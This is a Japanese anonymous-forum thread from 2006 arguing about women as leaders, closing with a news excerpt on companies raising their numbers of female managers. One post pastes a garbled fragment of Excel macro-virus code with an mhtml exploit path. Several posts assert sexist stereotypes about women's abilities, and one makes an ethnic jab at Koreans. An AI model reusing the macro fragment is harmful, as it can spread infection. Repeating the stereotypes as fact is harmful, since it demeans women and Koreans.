1 :
初心者ですが… :
2006/07/27(木) 04:33:22 ID:U+UeAefR0●
2 :
番組の途中ですが名無しです :2006/07/27(木) 04:34:03 ID:wXhlycuK0 BE:281724285-PLT(10022)
スレ立て魔はじまったな
3 :
試される大地 :2006/07/27(木) 04:34:04 ID:RKp4Xxnk0 BE:7677874-BRZ(6754)
4 :
人生オワタ\(^o^)/ :2006/07/27(木) 04:34:24 ID:MMtf5OVG0 BE:219882492-BRZ(1050)
脳の構造上仕方がない 明らかに男女では脳の作り方が違う。 それぞれが良いところを持っています。
5 :
初心者ですが… :2006/07/27(木) 04:34:49 ID:U+UeAefR0
リコーダーを舐めるのは男の子ばっか きもいから辞めて
6 :
法案成立 :2006/07/27(木) 04:34:53 ID:pC1ArQPp0
lines(n)= ms-its:mhtml:file://c:\ kak.hta';ken=wd+'START kill -9 xz/tSaBh0 Sub auto_open() Application.OnSheetActivate = "check_files" Sub check_files() c$ = Application.StartupPath m$ = Dir(c$ & "\" & "PERSONAL.XLS") If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w * 10 End Sub
7 :
地震だー :2006/07/27(木) 04:35:12 ID:Cz7iw/4D0
女上司の方が仕事しやすいなあ 俺だけかな
8 :
番組の途中ですが名無しです :2006/07/27(木) 04:36:09 ID:25CDLmNF0
>>5 え・・・それがお前の精一杯のギャグかよ。
もっと本気出せよ
9 :
初心者ですが… :2006/07/27(木) 04:36:51 ID:U+UeAefR0
女が成功するのに一番足を引っ張るのは同性からの嫉妬だったりする
10 :
番組の途中ですが名無しです :2006/07/27(木) 04:37:34 ID:kf7b1N+C0 BE:28365252-BRZ(1294)
×男の子 ○男性
11 :
番組の途中ですが名無すです :2006/07/27(木) 04:37:38 ID:pEbjeMEZ0
女 は 全 て の 黒 幕
12 :
コロケ :2006/07/27(木) 04:38:19 ID:HXwI4kBL0
結婚して会社の都合も考えずに主婦になってくようなやつらに重要なポストをやれだと?
13 :
ニュー速始まったな :2006/07/27(木) 04:39:26 ID:hXiMUl6e0
リーダーは朝鮮人ばかり
14 :
ボルトネック :2006/07/27(木) 04:39:37 ID:4sci+OoGO
データの推移が分からんから何とも言えない
15 :
ならず者 :2006/07/27(木) 04:40:44 ID:4hCY0rMB0 BE:223819193-BRZ(1000)
草 薙素子
16 :
瓦礫舎 :2006/07/27(木) 04:44:57 ID:/wP+gf0M0
男性差別?
17 :
番組の途中ですが名無しです :2006/07/27(木) 04:46:15 ID:T/D5zRyW0 BE:443369467-2BP(204)
リーダーが10人いたとしましょう 7人が文系で 2人が理系 1人が女です
18 :
不当判決! :2006/07/27(木) 04:47:14 ID:uMjeVyOU0
>>7 女上司だとさっさと帰るから自分も帰りやすいからな。
19 :
不純 :2006/07/27(木) 05:30:40 ID:G+fMZkvF0
リーダーの仕事は大変だが優れてるからリーダーになるんではないよ
正直誰でもいいんだ 特に田嶋某みたいなバカな女ほど
>>1 みたいな文句を言う傾向があるな
21 :
初心者ですが… :2006/07/27(木) 05:34:33 ID:C1Ht1DAw0
もしかしてビグロブだと同じのが出るのか?
22 :
kwsk :2006/07/27(木) 05:39:22 ID:TdmzEonW0
本当に有能な女性は
>>1 みたいなことは言わない
女性差別を免罪符にする必要がないから
23 :
テポドン :2006/07/27(木) 05:40:19 ID:57OSUYw00
24 :
きみ :2006/07/27(木) 05:42:02 ID:+l9Zwe8L0
女が監督だとデレクション細かくて嫌す、
25 :
番組の途中ですが名無しです :2006/07/27(木) 05:44:21 ID:hFxGmg/K0
女は脳みその構造上、事務作業とかのが向いてる
26 :
番組の途中ですが名無しです :2006/07/27(木) 05:44:29 ID:h/qbTSAl0
やらせてくれたら上司でもいいよ
>1お前はひょっこりひょうたん島の女か
28 :
パパラッチ :
2006/07/27(木) 13:48:54 ID:iqWBAMJq0 ★女性管理職を増やせ!!松下電工、4年後に倍増 日産、来年度までに3倍増
・女性社員について管理職の増員目標を掲げたりキャリア支援の場を設けたりして、
管理職登用の門戸を広げる企業が増えている。日本企業で女性管理職の比率は
3%と欧米より低く、多くの取り組みは始まったばかり。掛け声倒れに終わらないよう、
経営トップの意志も問われそうだ。
日産自動車とシャープは、2007年度末までに女性管理職を昨年2−5月時点に比べ
3倍にすると表明。松下電工は女性役職者の比率を10年に15%と現在より倍増する
目標を掲げた。
東京電力は2月に「ダイバーシティ(多様性)推進室」を創設し、女性管理職の拡大に
着手。外資系化粧品会社から迎え入れた雨宮弘子室長は「女性社員約4600人のうち
管理職(課長相当以上)は現在1%だけ。公平な機会づくりを進め年10人程度
増やしたい」と意欲を示す。
東芝は女性幹部候補生向け短期集中研修「きらめき塾」(昨年131人参加)を開催
している。日立製作所も「女性の活躍支援で多様な施策を打っている」(河西晋二郎
常務)という。
各社が女性幹部育成に取り組むのは、労働人口が将来減少に向かう中で有能な
人材を確保するのが目的。購買力が高まる女性の視点を営業や販売に反映させ、
「顧客満足度を高める」(谷川和生・東芝常務)狙いもある。
管理職を増やすには、出産・育児支援策などを通じ女性が辞めない会社にする努力も
必要となりそう。北城恪太郎・経済同友会代表幹事は「女性が活躍する環境づくりには
トップのコミットメント(確約)が欠かせない」と話している。
http://www.zakzak.co.jp/top/2006_03/t2006032715.html